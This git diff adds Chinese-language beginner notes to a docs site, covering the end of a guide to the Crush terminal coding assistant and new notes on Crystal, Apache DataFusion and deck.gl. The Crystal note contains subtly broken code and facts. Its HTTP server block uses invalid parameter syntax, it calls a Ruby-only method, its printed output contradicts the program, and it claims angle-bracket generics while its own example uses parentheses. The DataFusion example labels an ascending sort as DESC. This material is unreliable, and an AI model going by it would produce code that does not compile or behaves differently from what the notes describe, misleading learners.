+- 允许 Crush 使用 `view`、`ls`、`grep`、`edit` 工具（不需逐个确认）
+- 禁止使用 `bash` 工具（完全不让它跑命令）
+- Git 提交时加上 `Co-Authored-By` Attribution
+
+## 进阶用法
+
+### 初始化项目
+
+Crush 能分析整个代码库并自动生成 `AGENTS.md`，记录项目的构建命令、代码规范、文件结构——以后 Crush 就不用每次都重新"认识"你的项目了。
+
+### 全局上下文文件
+
+- `~/.config/crush/CRUSH.md` — Crush 专属规则（比如"永远用 TypeScript 5.x"）
+- `~/.config/AGENTS.md` — 跨工具的通用规则
+
+### 查看日志
+
+```bash
+# 最近 1000 行
+crush logs
+
+# 实时查看
+crush logs --follow
+
+# 调试模式启动
+crush --debug
+```
+
+### 忽略文件
+
+Crush 默认遵守 `.gitignore`。额外可以建 `.crushignore`：
+
+```
+# .crushignore
+node_modules/
+*.log
+.env
+```
+
+### 更新模型列表
+
+```bash
+# 从 Catwalk 在线更新
+crush update-providers
+
+# 从本地文件更新
+crush update-providers /path/to/providers.json
+
+# 恢复到内置版本
+crush update-providers embedded
+```
+
+## Crush 的工作流程（一图流）
+
+```
+你输入需求
+    │
+    ▼
+Crush 读项目 + LSP 上下文
+    │
+    ▼
+Crush 规划方案（可能问你问题）
+    │
+    ▼
+Crush 执行：读文件 → 改代码 → 跑命令
+    │             │           │
+    │             ▼           ▼
+    │        你确认      你确认
+    │             │           │
+    ▼             ▼           ▼
+提交到 Git（带 Attribution）
+```
+
+## 和普通 AI 编程助手的区别
+
+| 特性 | 普通 ChatGPT/Copilot Chat | Crush |
+|---|---|---|
+| 运行位置 | 网页 / IDE 插件 | 你的终端 |
+| 文件系统访问 | 有限 | 全权限（需你批准） |
+| 模型切换 | 通常锁定一个 | 会话中随时换 |
+| LSP 集成 | 取决于 IDE | 原生支持 |
+| MCP 扩展 | 不支持 | 完整支持 |
+| 权限控制 | 无 | 逐条确认 / 白名单 / yolo |
+| 会话管理 | 一个对话一个上下文 | 多会话并行 |
+| Skills | 无 | 标准化技能包 |
+
+## 适合谁
+
+- 想在终端里直接让 AI 帮写代码、改 bug 的开发者
+- 已经熟悉终端工作流，不想切到网页或 IDE 插件的人
+- 想灵活切换 AI 模型（今天用 Claude，明天用 GPT）的人
+- 想给 AI 编程助手加自定义工具（MCP）的进阶用户
+
+## 不适合谁
+
+- 完全没碰过终端的新手（Crush 本身是个 CLI 工具）
+- 希望 AI 全自动跑、不需要任何确认的人（虽然可以开 `--yolo`，但不安全）
+
+## 下一步
+
+想继续深入了解的话，推荐：
+
+1. 直接安装后跑 `crush`，体验一遍 TUI 界面
+2. 看 [Crush 的 docs](https://github.com/charmbracelet/crush) 了解更多配置选项
+3. 试试接入一个 MCP 服务器，看看 AI 能调用什么外部工具
+4. 写一个自定义 Skill，看看怎么扩展 Crush 的能力
diff --git a/src/content/docs/projects/crystal.md b/src/content/docs/projects/crystal.md
new file mode 100644
index 000000000..aa689128e
--- /dev/null
+++ b/src/content/docs/projects/crystal.md
@@ -0,0 +1,287 @@
+---
+title: Crystal 学习笔记 — 拥有 Ruby 语法的静态类型语言
+来源: https://github.com/crystal-lang/crystal
+日期: 2026-06-13
+分类: 编译器
+子分类: 语言运行时
+provenance: pipeline-v3
+---
+
+# Crystal — 拥有 Ruby 语法的静态类型语言
+
+## 一、Crystal 是什么
+
+如果把编程语言比作交通工具，那么：
+
+- Ruby 像一辆自动挡汽车 — 开起来舒服，写起来顺手，但跑得不够快
+- C 像一辆 F1 赛车 — 极快，但调校和驾驶难度极高
+- **Crystal 则像一辆拥有自动驾驶的高级轿车** — 你享受 Ruby 那种"写什么就得到什么"的流畅感，编译器在后台帮你做了所有类型检查和安全保障，最后跑出来的代码是编译后的原生机器码，速度接近 C
+
+Crystal 的核心设计理念可以用一句话概括：**让编译器理解你的意图，而不是让你告诉编译器每一个细节。**
+
+它不需要你在每个变量前面标注类型，编译器会根据你赋值的内容自动推断出类型。但这不等于"动态类型" — 所有类型检查都在编译阶段完成，运行时无需额外开销。
+
+## 二、核心概念
+
+### 1. 类型推断（Type Inference）
+
+这是 Crystal 最吸引人的特性之一。看下面这段代码：
+
+```crystal
+name = "Alice"
+# 编译器自动推断 name 是 String 类型
+
+age = 30
+# 编译器自动推断 age 是 Int32 类型
+
+is_student = false
+# 编译器自动推断 is_student 是 Bool 类型
+```
+
+你不需要写 `let name: String = "Alice"` 或 `String name = "Alice"`。编译器看到你给 `name` 赋了一个字符串，就知道它是 `String` 类型。这既保持了静态类型的安全性，又保留了动态语言的简洁。
+
+当然，如果你愿意，也可以显式标注类型：
+
+```crystal
+name : String = "Alice"
+age : Int32 = 30
+```
+
+这在变量名不够明确时尤其有用，比如 `x = get_value()`，标注 `x : String` 能让读者立刻明白。
+
+### 2. 类与方法（Classes and Methods）
+
+Crystal 的类定义和 Ruby 几乎一模一样：
+
+```crystal
+class Person
+  # 实例变量，以 @ 开头
+  def initialize(@name : String, @age : Int32)
+  end
+
+  def greet
+    "Hello, my name is #{@name} and I am #{@age} years old"
+  end
+end
+
+person = Person.new("Alice", 30)
+puts person.greet
+# 输出: Hello, my name is Alice and I am 30 years old
+```
+
+`def initialize` 是构造函数，`@name : String` 这种写法同时完成了两件事：声明了一个类型约束为 String 的参数，并把它赋值给了同名实例变量。这是一种简洁的参数-成员变量绑定语法，Ruby 没有这个特性。
+
+### 3. 联合类型（Union Types）
+
+当一段代码在不同分支返回不同类型时，Crystal 会自动构造一个联合类型：
+
+```crystal
+def parse_number(input)
+  if input.starts_with?("#")
+    input[1..-1].to_i  # 返回 Int32
+  else
+    input              # 返回 String
+  end
+end
+
+# 返回值类型被推断为 Int32 | String
+# 这是一个"联合类型"：可能是整数，也可能是字符串
+```
+
+这意味着编译器会强制你处理所有可能的类型，而不是等到运行时才崩溃。
+
+### 4. 生成器（Generics）
+
+Crystal 的泛型语法和 TypeScript 类似，用尖括号 `<>` 包裹类型参数：
+
+```crystal
+# 一个通用的容器类
+class Box(T)
+  def initialize(@value : T)
+  end
+
+  def value : T
+    @value
+  end
+end
+
+int_box = Box(Int32).new(42)
+string_box = Box(String).new("hello")
+
+puts int_box.value      # 42，类型是 Int32
+puts string_box.value   # "hello"，类型是 String
+```
+
+编译器会为每个具体的类型生成专门的代码，所以运行时没有装箱/拆箱的开销。
+
+### 5. 宏（Macros）
+
+Crystal 的宏在编译阶段展开，类似于 C++ 的预处理，但强大得多。它可以接受代码块作为参数、操作抽象语法树（AST），甚至递归调用。这使得 Crystal 可以用极少的代码实现很多通常需要的样板代码。
+
+## 三、代码示例
+
+### 示例 1：完整的小型项目 — 待办事项管理器
+
+```crystal
+require "colorize"
+
+# 待办事项项
+class TodoItem
+  getter :id, :title, :done
+
+  def initialize(@id : Int32, @title : String, @done = false)
+  end
+
+  def description
+    if @done
+      "[完成] #{@title}".green
+    else
+      "[未完成] #{@title}".red
+    end
+  end
+end
+
+# 待办事项管理器
+class TodoManager
+  def initialize
+    @items : Array(TodoItem) = []
+    @next_id = 1
+  end
+
+  def add(title : String)
+    item = TodoItem.new(@next_id, title)
+    @items << item
+    @next_id += 1
+    puts "已添加: #{item.description}"
+  end
+
+  def complete(id : Int32)
+    @items.each do |item|
+      if item.id == id
+        item.instance_variable_set(:@done, true)
+        puts "已标记为完成: #{item.description.green}"
+        return
+      end
+    end
+    puts "未找到 ID 为 #{id} 的待办项".yellow
+  end
+
+  def list
+    return puts "没有待办项" if @items.empty?
+    puts "=== 待办事项列表 ==="
+    @items.each do |item|
+      puts "  ##{item.id}: #{item.description}"
+    end
+    puts "===================="
+  end
+
+  def stats
+    total = @items.size
+    completed = @items.select(&.done).size
+    pending = total - completed
+    puts "总计: #{total} | 已完成: #{completed} | 剩余: #{pending}"
+  end
+end
+
+# 运行
+manager = TodoManager.new
+manager.add("学习 Crystal 语言")
+manager.add("写一个 Web 服务器")
+manager.add("部署到生产环境")
+manager.complete(1)
+manager.list
+manager.stats
+```
+
+运行结果：
+
+```
+已添加: [完成] 学习 Crystal 语言
+已添加: [未完成] 写一个 Web 服务器
+已添加: [未完成] 部署到生产环境
+已标记为完成: [完成] 学习 Crystal 语言
+=== 待办事项列表 ===
+  #1: [完成] 学习 Crystal 语言
+  #2: [未完成] 写一个 Web 服务器
+  #3: [未完成] 部署到生产环境
+====================
+总计: 3 | 已完成: 1 | 剩余: 2
+```
+
+这段代码涵盖了 Crystal 的多个关键特性：类定义、类型约束、数组、循环、条件判断、闭包（`&.done` 是方法引用语法，相当于 `->{ item.done }`）。
+
+### 示例 2：HTTP 服务器
+
+Crystal 的标准库内置了高性能的 HTTP 服务器，只需几行代码：
+
+```crystal
+require "http/server"
+
+# 一个简单的 JSON API 服务器
+server = HTTP::Server.new do |context.request|
+  path = context.request.path
+
+  case path
+  when "/"
+    body = { message: "Hello from Crystal!", version: "1.20" }.to_json
+    context.response.content_type = "application/json"
+    context.response.print body
+
+  when "/health"
+    context.response.print "OK"
+
+  else
+    context.response.status = :not_found
+    context.response.print "404 Not Found"
+  end
+end
+
+puts "服务器正在运行，访问 http://localhost:8080"
+server.bind_tcp("0.0.0.0", 8080)
+server.listen
+```
+
+Crystal 的 HTTP 服务器基于非阻塞 I/O，性能可以与 Node.js、Go 和 Nginx 相媲美。它不是运行时解释执行的 — 编译后就是原生二进制文件，没有虚拟机开销。
+
+## 四、Crystal vs Ruby vs TypeScript 对比
+
+| 特性 | Ruby | Crystal | TypeScript |
+|------|------|---------|------------|
+| 类型系统 | 动态 | 静态（编译时推断） | 静态（编译时推断） |
+| 语法来源 | — | 来自 Ruby | 来自 JavaScript |
+| 运行方式 | 解释执行 (MRI) | 编译为原生机器码 | 编译为 JavaScript 运行 |
+| 性能 | 较慢 | 接近 C | 依赖 JavaScript 引擎 |
+| 需要标注类型 | 不需要 | 通常不需要 | 通常不需要 |
+| 包管理 | Gem | Shards | npm/yarn |
+| 错误检测时机 | 运行时 | 编译时 | 编译时 |
+
+对于零基础学习者来说，理解这个表的关键点：**Crystal 让你用接近 Ruby 的语法写出接近 C 速度的代码，而且类型检查在编译阶段就帮你拦截了错误。**
+
+## 五、如何开始
+
+1. 安装 Crystal：`brew install crystal`（macOS）或 `sudo apt install crystal`（Linux）
+2. 在线试用：[play.crystal-lang.org](https://play.crystal-lang.org/) — 浏览器里直接写 Crystal 代码并运行
+3. 官方教程：[crystal-lang.org/tutorials](https://crystal-lang.org/tutorials/)
+4. 语言参考：[crystal-lang.org/reference](https://crystal-lang.org/reference/)
+5. 社区论坛：[forum.crystal-lang.org](https://forum.crystal-lang.org/)
+
+## 六、学习建议
+
+给零基础的你的学习路径建议：
+
+1. 先玩在线 Playground，写几个 `puts "hello"` 感受语法
+2. 熟悉变量、字符串、数组这些基础概念（Crystal 和 Ruby 几乎一样）
+3. 理解"类型推断"的概念 — 这是 Crystal 和其他动态语言的根本区别
+4. 写一些小的命令行工具，体会编译速度有多快
+5. 尝试写一个 HTTP 服务器 — Crystal 的标准库文档非常详细
+
+## 七、总结
+
+Crystal 解决了一个长期存在的问题：程序员在"开发效率"和"运行效率"之间必须二选一。Crystal 用编译器类型推断这个巧妙的技术，让你不用牺牲任何一方的体验。
+
+记住：类型推断不等于没有类型。只是编译器帮你猜了，而不是你需要说。
+
+---
+
+*笔记来源：https://github.com/crystal-lang/crystal*
+*最后更新：2026-06-13*
diff --git a/src/content/docs/projects/d3.md b/src/content/docs/projects/d3.md
index d9dfc9bca..3b2ca2088 100644
--- a/src/content/docs/projects/d3.md
+++ b/src/content/docs/projects/d3.md
@@ -179,6 +179,7 @@ scale 和 line 都是普通 JS 函数，没碰任何 DOM API；React 拿它们
 - [[chart-js]] —— Chart.js — Canvas 渲染入门级图表
 - [[chartist]] —— Chartist — 极简 SVG 图表
 - [[cytoscape-js]] —— Cytoscape.js — 浏览器里画图（节点 + 边）的图论库
+- [[deck-gl]] —— deck.gl — Uber 大规模数据可视化
 - [[dhtmlx-gantt]] —— DHTMLX Gantt — 给企业级排期用的全功能甘特组件
 - [[echarts]] —— Apache ECharts — 给一个 JSON 就能画图的可视化库
 - [[fabric-js]] —— Fabric.js — 给 Canvas 加一层"对象模型"，让画布图形可以拖
@@ -186,14 +187,17 @@ scale 和 line 都是普通 JS 函数，没碰任何 DOM API；React 拿它们
 - [[framer-motion]] —— Framer Motion — React 声明式动画
 - [[frappe-gantt]] —— Frappe Gantt — 200 行 SVG 写出的甘特图
 - [[glide-data-grid]] —— glide-data-grid — Canvas 画出来的百万行表格
+- [[glslify]] —— glslify — Browserify 风格 GLSL 模块
 - [[graphology]] —— Graphology — 浏览器里的图数据结构与算法库
 - [[gsap]] —— GSAP — GreenSock 高性能动画
 - [[handsontable]] —— Handsontable — 浏览器里的 Excel
 - [[i18next]] —— i18next — 让一份 JS 代码同时讲几十种语言
+- [[inkscape]] —— Inkscape — 矢量图形编辑器
 - [[kepler-gl]] —— kepler.gl — 拖拽式百万点 GIS 探索界面
 - [[konva]] —— Konva — 给 HTML5 Canvas 装一棵会响应的节点树
 - [[ky]] —— ky — 把浏览器自带的 fetch 包成顺手工具
 - [[leaflet]] —— Leaflet — 轻量交互式地图
+- [[luma-gl]] —— luma.gl — vis.gl WebGL2/WebGPU 抽象
 - [[mapbox-gl-js]] —— Mapbox GL JS — 矢量瓦片 + WebGL 客户端渲染地图
 - [[maplibre-gl]] —— MapLibre GL JS — Mapbox v1 时代的社区分叉
 - [[mermaid]] —— Mermaid — 用文本写图，code review 友好的图表语言
@@ -201,6 +205,7 @@ scale 和 line 都是普通 JS 函数，没碰任何 DOM API；React 拿它们
 - [[observable-framework]] —— Observable Framework — 编译期跑数据，浏览器只看结果
 - [[observable-plot]] —— Observable Plot — 你说想看哪两列的关系，库自己画图
 - [[openlayers]] —— OpenLayers — 全功能 GIS 前端
+- [[picogl]] —— PicoGL.js — 极简 WebGL2 包装
 - [[pixi]] —— PixiJS — 浏览器里画 2D 的高性能 GPU 引擎
 - [[playcanvas]] —— PlayCanvas — 浏览器里跑的 3D 游戏引擎
 - [[playwright]] —— Playwright — 跨浏览器自动化测试
diff --git a/src/content/docs/projects/dagster.md b/src/content/docs/projects/dagster.md
index a61f0999c..3e712938d 100644
--- a/src/content/docs/projects/dagster.md
+++ b/src/content/docs/projects/dagster.md
@@ -2,8 +2,8 @@
 title: Dagster — 把流水线想成数据资产图，不是任务序列
 来源: Dagster Labs, https://docs.dagster.io/
 日期: 2026-05-31
-子分类: 数据科学与 AI
-分类: 机器学习
+子分类: DevOps 与运维
+分类: 基础设施
 难度: 中级
 provenance: pipeline-v3
 ---
diff --git a/src/content/docs/projects/datafusion-arrow.md b/src/content/docs/projects/datafusion-arrow.md
new file mode 100644
index 000000000..759fc87bc
--- /dev/null
+++ b/src/content/docs/projects/datafusion-arrow.md
@@ -0,0 +1,139 @@
+---
+title: Apache DataFusion 学习笔记
+来源: https://github.com/apache/datafusion
+日期: 2026-06-13
+分类: 数据库
+子分类: 现代数据库
+provenance: pipeline-v3
+---
+
+# Apache DataFusion 学习笔记
+
+## 什么是 DataFusion
+
+DataFusion 是 Apache 基金会旗下的一个用 Rust 编写的高性能查询引擎。它有两个关键特点：
+
+1. 使用 Apache Arrow 作为内存中的数据格式（列式存储）
+2. 可以嵌入到你自己的程序里，也可以单独作为 SQL 引擎使用
+
+先做一个日常类比：想象你有一个大厨房，里面有很多食材（数据文件）。传统做法是你每次想做菜就从头洗菜、切菜、炒菜。DataFusion 更像是一个预装好的标准化厨房——食材已经按类别分好（列式存储），你有现成的刀工模板（查询优化器），只需要告诉它你想做什么菜（SQL 查询），它就能高效地帮你完成。
+
+核心目标是让开发者不必重复造轮子——不用自己写 SQL 解析器、查询优化器、并行执行引擎，直接嵌入 DataFusion 就能获得这些能力。
+
+## 核心概念
+
+### 1. SessionContext — 会话上下文
+
+SessionContext 是整个 DataFusion 的入口，类似一个"厨房管家"。所有操作都围绕它展开：注册数据源、执行查询、管理配置。
+
+### 2. Logical Plan — 逻辑计划
+
+当你写一条 SQL 时，DataFusion 不会立刻去读文件。它先构建一个"逻辑计划"——相当于菜谱。这个计划描述了你要做什么（SELECT、WHERE、JOIN），但还没决定怎么做。
+
+### 3. Query Optimizer — 查询优化器
+
+在得到逻辑计划后，DataFusion 的优化器会对它进行各种变换和简化：把能提前做的过滤推下去、合并重复操作、自动重排 JOIN 顺序等。这是 DataFusion 高性能的关键之一。
+
+### 4. Physical Plan — 物理计划
+
+优化后的逻辑计划被翻译成"物理计划"——实际要执行的步骤，包括如何并行读取、如何内存排序、何时使用磁盘等。
+
+### 5. Execution Engine — 执行引擎
+
+最后，物理计划在多核 CPU 上执行，数据以 Arrow 列式格式在内存中流动，利用 SIMD 向量化指令达到高性能。
+
+## 代码示例
+
+### 示例一：用 SQL 查询 CSV 文件
+
+这个例子展示最基础的使用方式：读取一个 CSV 文件，执行 SQL 查询，输出结果。
+
+```rust
+use datafusion::prelude::*;
+
+#[tokio::main]
+async fn main() -> datafusion::error::Result<()> {
+    // 创建会话上下文（厨房管家）
+    let ctx = SessionContext::new();
+
+    // 注册一个 CSV 文件为名为 "sales" 的表
+    ctx.register_csv("sales", "data/sales.csv", CsvReadOptions::new()).await?;
+
+    // 执行 SQL 查询：按部门统计每个部门的平均工资
+    let df = ctx.sql(
+        "SELECT department, AVG(salary) as avg_salary \
+         FROM sales \
+         GROUP BY department \
+         ORDER BY avg_salary DESC"
+    ).await?;
+
+    // 执行并打印结果
+    df.show().await?;
+    Ok(())
+}
+```
+
+这里的关键是：你只需要写 SQL，DataFusion 自动处理文件读取、解析、执行等所有底层工作。
+
+### 示例二：用 DataFrame API 编程式查询
+
+如果你更喜欢写代码而不是 SQL，DataFusion 提供了类似 pandas 的链式 DataFrame API：
+
+```rust
+use datafusion::prelude::*;
+use datafusion::functions_aggregate::expr_fn::avg;
+
+#[tokio::main]
+async fn main() -> datafusion::error::Result<()> {
+    let ctx = SessionContext::new();
+
+    // 读取 CSV 文件，得到一个 DataFrame
+    let df = ctx.read_csv("data/sales.csv", CsvReadOptions::new()).await?;
+
+    // 链式调用：过滤 -> 分组聚合 -> 排序 -> 限制
+    let result = df
+        .filter(col("salary").gt(lit(5000)))      // WHERE salary > 5000
+        .aggregate(
+            vec![col("department")],              // GROUP BY department
+            vec![avg(col("salary")).alias("avg_salary")]  // AVG(salary)
+        )?
+        .sort(vec![col("avg_salary").sort(true, true)])  // ORDER BY avg_salary DESC
+        .limit(0, Some(10))?;                    // LIMIT 10
+
+    result.show().await?;
+    Ok(())
+}
+```
+
+注意 SQL 和 DataFrame API 两种方式是等价的——DataFusion 底层会生成相同的执行计划。
+
+## DataFusion 支持什么数据格式
+
+开箱即支持：
+
+- **CSV** — 逗号分隔文本文件
+- **Parquet** — 列式存储格式，适合分析型查询
+- **JSON** — 半结构化数据
+- **Avro** — 二进制序列格式
+
+还支持自定义数据源（通过 TableProvider trait），可以对接数据库、API 等任意数据源。
+
+## 为什么选择 DataFusion
+
+DataFusion 的优势集中在三个方面：
+
+- **性能**：Rust + Arrow 列式内存模型 + 向量化执行，性能表现与 Spark 等系统相当甚至更优
+- **可嵌入**：作为一个 Rust crate 引入即可使用，不需要额外部署服务
+- **可扩展**：可以在几乎每个环节做自定义——自定义函数、自定义数据源、自定义优化规则等
+
+很多知名项目都基于 DataFusion 构建，比如 InfluxDB（时序数据库）、GreptimeDB、Cube Store、ParadeDB 等。
+
+## 生态
+
+DataFusion 有多种语言的绑定：
+
+- **Python** — datafusion-python，可以用 Python 写 SQL 和 DataFrame 查询
+- **Java** — datafusion-java
+- **Ruby** — datafusion-ruby
+
+还有一个基于 DataFusion 的分布式查询引擎叫 Ballista，以及一个加速 Apache Spark 的插件叫 Comet。
diff --git a/src/content/docs/projects/deck-gl.md b/src/content/docs/projects/deck-gl.md
new file mode 100644
index 000000000..957ba41bc
--- /dev/null
+++ b/src/content/docs/projects/deck-gl.md
@@ -0,0 +1,288 @@
+---
+title: deck.gl — Uber 大规模数据可视化
+来源: 'https://github.com/visgl/deck.gl'
+日期: 2026-06-13
+子分类: 渲染与图形
+分类: 图形学
+provenance: pipeline-v3
+难度: 中级
+---
+
+## 是什么
+
+deck.gl 是 Uber 开源、现由 vis.gl / OpenJS Foundation 维护的 **WebGL2/WebGPU 大数据可视化框架**。日常类比：[[d3]] / [[recharts]] 像在小画板上用马克笔逐笔描点——几千个点还行，百万点就卡；deck.gl 则像**投影灯把整面墙当画布**：你把数据表交给它，GPU 一次性 instancing 画出百万散点、十万多边形或 3D 建筑，还能叠在 Mapbox / MapLibre / Google Maps 底图上。
+
+它把可视化拆成三层直觉：
+
+- **data**：通常是 JSON 对象数组，或 loaders.gl 的二进制列式格式（百万行也吃得下）
+- **layers**：ScatterplotLayer、PathLayer、HexagonLayer 等「图层乐高」
+- **views**：地图视角、正交小窗、第一人称等观察方式
+
+底层渲染走 [[luma-gl]]，地理投影走 math.gl，文件解析走 loaders.gl——整条 vis.gl 栈为「地理 + 海量点」而生。kepler.gl、streetscape.gl 都是搭在它上面的产品级 UI。
+
+## 为什么重要
+
+不理解 deck.gl，下面几件事很难讲清楚：
+
+- 为什么 Uber 要把「千万 GPS 轨迹点 + 实时车辆」画在浏览器里，而不是导出到 QGIS 或桌面 GIS
+- 为什么同样 100 万点，SVG（[[visx]] / [[observable-plot]]）会卡死，deck.gl 仍能保持 60fps——instancing + GPU buffer + 按需更新
+- 为什么 Mapbox / MapLibre 文档里总提「custom layer」或 overlay——deck.gl 就是最常见的 overlay 方案之一
+- 为什么 v9 开始强调 WebGPU：同一套 Layer API，底层从 WebGL2 平滑迁移到 WebGPU，应用层几乎不用改
+
+## 核心概念
+
+1. **Layer（图层）**  
+   一个 Layer 实例 = 一种几何 + 一套 accessor。`id` 唯一；`data` 是数据源；`get*` 开头的 prop 是 accessor，把每一行数据映射成位置、颜色、半径等。Layer **不可变**：改 props 就 `new` 一个同 id 的新实例，deck.gl 做 diff 只重算变化部分。
+
+2. **Deck / DeckGL**  
+   `Deck`（纯 JS）或 React 的 `DeckGL` 接收 `layers[]` 和 `viewState`，在透明 canvas 上渲染。可 standalone（无地图），也可与底图 interleave / overlay。
+
+3. **ViewState 与 Controller**  
+   `longitude` / `latitude` / `zoom` / `pitch` / `bearing` 描述相机；`controller: true` 启用拖拽缩放。React 里把 viewState 放进 state，交互回调里 `setViewState` 即可。
+
+4. **Accessor 三种写法**  
+   - 常量：`getRadius: 100`  
+   - 字段名：`getFillColor: 'color'`（等价于 `d => d.color`）  
+   - 函数：`getPosition: d => [d.lng, d.lat, d.alt ?? 0]`  
+   地理坐标默认 `[lng, lat]` 或 `[lng, lat, altitude]`，deck.gl 内部做 Web Mercator 投影。
+
+5. **二进制 data（高性能路径）**  
+   v7+ 起 `data` 可以是 `{ length, attributes: { getPosition: { value, size } } }` 这种列式结构，避免百万个 JS 对象的开销。loaders.gl 读 Arrow / Parquet / GeoJSON 后常直接喂这种格式。
+
+6. **Picking 与交互**  
+   `onClick` / `onHover` 回调里 `info.object` 指向被点的数据行；`pickable: true` 开启 GPU picking。大屏 BI、轨迹探索都靠这条链路。
+
+7. **模块分包**  
+   `@deck.gl/core`（渲染管线）、`@deck.gl/layers`（基础图层）、`@deck.gl/aggregation-layers`（Hexagon / Grid / Heatmap）、`@deck.gl/geo-layers`（Tile3D、MVT、Terrain）、`@deck.gl/react`、`@deck.gl/mapbox`（Mapbox GL 专用 glue）。按需安装，生产环境靠 tree-shaking 瘦身。
+
+8. **GPU Instancing（百万点不卡的核心）**  
+   传统 WebGL 每个点画一次 draw call；deck.gl 把「同一种几何」（圆、线、多边形）做成一份 GPU buffer，用 **instancing** 一次 draw 复制百万份，只在 shader 里读每行的 accessor 结果做偏移/着色。Uber 2016 开源博客把这条路线讲得很直白：Layer 栈里每一层都是「同一类图元的批量副本」，所以轨迹 + 建筑 + 热力可以同时叠在一张透视地图上。
+
+9. **底图集成的三种模式**（与 Mapbox / MapLibre 联用时必知）
+
+   | 模式 | 谁当根组件 | 适用场景 |
+   |------|------------|----------|
+   | **interleaved** | `@deck.gl/mapbox` 的 `MapboxOverlay`，图层画进 Mapbox 的 WebGL2 上下文 | 需要与 Mapbox 文字标注正确遮挡、3D 建筑物前后关系 |
+   | **overlaid** | 同上，但 deck 在 Mapbox controls 容器里单独 canvas | 要用 Mapbox 原生控件/插件，又不需要深度 interleave |
+   | **reverse-controlled** | `DeckGL` 为根，`Map` 作 child（react-map-gl 常见写法） | React 栈最省事；viewport 由 deck 驱动，底图跟随 |
+
+   零基础建议：React 项目先用 **reverse-controlled**（下文案例 2）；只有 label 被点盖住时，再切 `@deck.gl/mapbox` interleaved。
+
+## 与 d3 / ECharts / Three.js 怎么选
+
+| 维度 | deck.gl | d3 / visx | ECharts | Three.js |
+|------|---------|-----------|---------|----------|
+| 渲染 | WebGL2/WebGPU | 多数 SVG | Canvas | WebGL 场景图 |
+| 数据规模 | 10⁵–10⁷ 点 | ~10⁴ | ~10⁵（看图表类型） | 看优化 |
+| 地理 | 一等公民 | 需 d3-geo 手拼 | geo 组件 | 需自研 |
+| 心智 | 声明式图层栈 | 数据绑定 + DOM/SVG | 配置项 JSON | 3D 场景 |
+| 典型场景 | 轨迹、热力、3D _TILE | 定制信息图 | 仪表盘 | 游戏 / 数字孪生 3D |
+
+**经验法则**：带地图的海量点 / 路径 / 3D tiles → deck.gl；印刷级定制小图 → d3；常规 BI 折柱饼 → ECharts；要完整 3D 角色场景 → Three.js。
+
+## 实践案例
+
+### 案例 1：纯 JS 散点图（Standalone）
+
+不依赖 React，也不强制底图——最小可运行骨架：
+
+```js
+import {Deck} from '@deck.gl/core';
+import {ScatterplotLayer} from '@deck.gl/layers';
+
+const DATA = Array.from({length: 5000}, (_, i) => ({
+  position: [
+    -122.4 + Math.random() * 0.2,
+    37.75 + Math.random() * 0.15
+  ],
+  radius: Math.random() * 50 + 10,
+  color: [255 * Math.random(), 80, 200]
+}));
+
+const deck = new Deck({
+  initialViewState: {
+    longitude: -122.45,
+    latitude: 37.78,
+    zoom: 11,
+    pitch: 30
+  },
+  controller: true,
+  layers: [
+    new ScatterplotLayer({
+      id: 'scatter',
+      data: DATA,
+      pickable: true,
+      stroked: false,
+      getPosition: d => d.position,
+      getRadius: d => d.radius,
+      getFillColor: d => d.color,
+      radiusMinPixels: 2,
+      radiusMaxPixels: 20
+    })
+  ],
+  onClick: info => {
+    if (info.object) console.log('picked', info.object);
+  }
+});
+```
+
+**要点**：`radiusMinPixels` / `radiusMaxPixels` 限制屏幕像素半径，避免 zoom 很大时圆点遮满屏；`pickable` + `onClick` 实现「点选数据行」。
+
+### 案例 2：React + MapLibre 叠加 Hexagon 聚合
+
+典型产品栈：`DeckGL` 透明 canvas 叠在 MapLibre 上，用 HexagonLayer 把百万点聚合成六边形柱：
+
+```tsx
+import {useState} from 'react';
+import {DeckGL} from '@deck.gl/react';
+import {HexagonLayer} from '@deck.gl/aggregation-layers';
+import Map from 'react-map-gl/maplibre';
+import 'maplibre-gl/dist/maplibre-gl.css';
+
+type Point = {lng: number; lat: number};
+
+export function TripHexMap({points}: {points: Point[]}) {
+  const [viewState, setViewState] = useState({
+    longitude: -73.98,
+    latitude: 40.75,
+    zoom: 11,
+    pitch: 45,
+    bearing: 0
+  });
+
+  const layers = [
+    new HexagonLayer<Point>({
+      id: 'hex',
+      data: points,
+      pickable: true,
+      extruded: true,
+      radius: 200,
+      elevationScale: 50,
+      getPosition: d => [d.lng, d.lat],
+      getElevationWeight: 1,
+      getColorWeight: 1
+    })
+  ];
+
+  return (
+    <DeckGL
+      viewState={viewState}
+      onViewStateChange={({viewState: vs}) => setViewState(vs as typeof viewState)}
+      controller
+      layers={layers}
+    >
+      <Map
+        {...viewState}
+        mapStyle="https://basemaps.cartocdn.com/gl/dark-matter-gl-style/style.json"
+        style={{width: '100%', height: '100%'}}
+      />
+    </DeckGL>
+  );
+}
+```
+
+**要点**：`extruded: true` 把聚合计数拉成 3D 柱；`radius` 单位是米（Web Mercator 空间）；子组件 `Map` 作为 `DeckGL` 的 child，viewport 自动对齐——这是 React 集成的推荐姿势。
+
+### 案例 3：PathLayer + TripLayer 动画轨迹
+
+GPS 轨迹、物流路径是 Uber 最早用 deck.gl 的场景。`PathLayer` 画静态折线；`TripLayer` 在路径上按时间戳播放「光点」：
+
+```tsx
+import {PathLayer} from '@deck.gl/layers';
+import {TripsLayer} from '@deck.gl/geo-layers';
+
+const trips = [
+  {
+    path: [
+      [-122.45, 37.78],
+      [-122.44, 37.79],
+      [-122.43, 37.80]
+    ],
+    timestamps: [0, 500, 1000] // 毫秒，与 currentTime 对齐
+  }
+];
+
+const layers = [
+  new PathLayer({
+    id: 'route',
+    data: trips,
+    getPath: d => d.path,
+    getColor: [0, 128, 255],
+    widthMinPixels: 2
+  }),
+  new TripsLayer({
+    id: 'vehicles',
+    data: trips,
+    getPath: d => d.path,
+    getTimestamps: d => d.timestamps,
+    getColor: [255, 200, 0],
+    opacity: 0.9,
+    trailLength: 180,
+    currentTime: animationTime // 每帧 requestAnimationFrame 递增
+  })
+];
+```
+
+**要点**：`currentTime` 与 `getTimestamps` 同一单位；`trailLength` 控制尾迹长度（毫秒）。动画循环里只更新 `currentTime` 并 `setLayers`，不必每帧重传整条 path。
+
+### 案例 4：Script Tag 快速试验（Observable / CodePen）
+
+官方 standalone bundle 暴露全局 `deck`，适合原型：
+
+```html
+<script src="https://unpkg.com/deck.gl@latest/dist.min.js"></script>
+<script>
+  const {DeckGL, ScatterplotLayer} = deck;
+  new DeckGL({
+    mapStyle: 'https://basemaps.cartocdn.com/gl/positron-nolabels-gl-style/style.json',
+    initialViewState: {longitude: 2.35, latitude: 48.86, zoom: 11},
+    controller: true,
+    layers: [
+      new ScatterplotLayer({
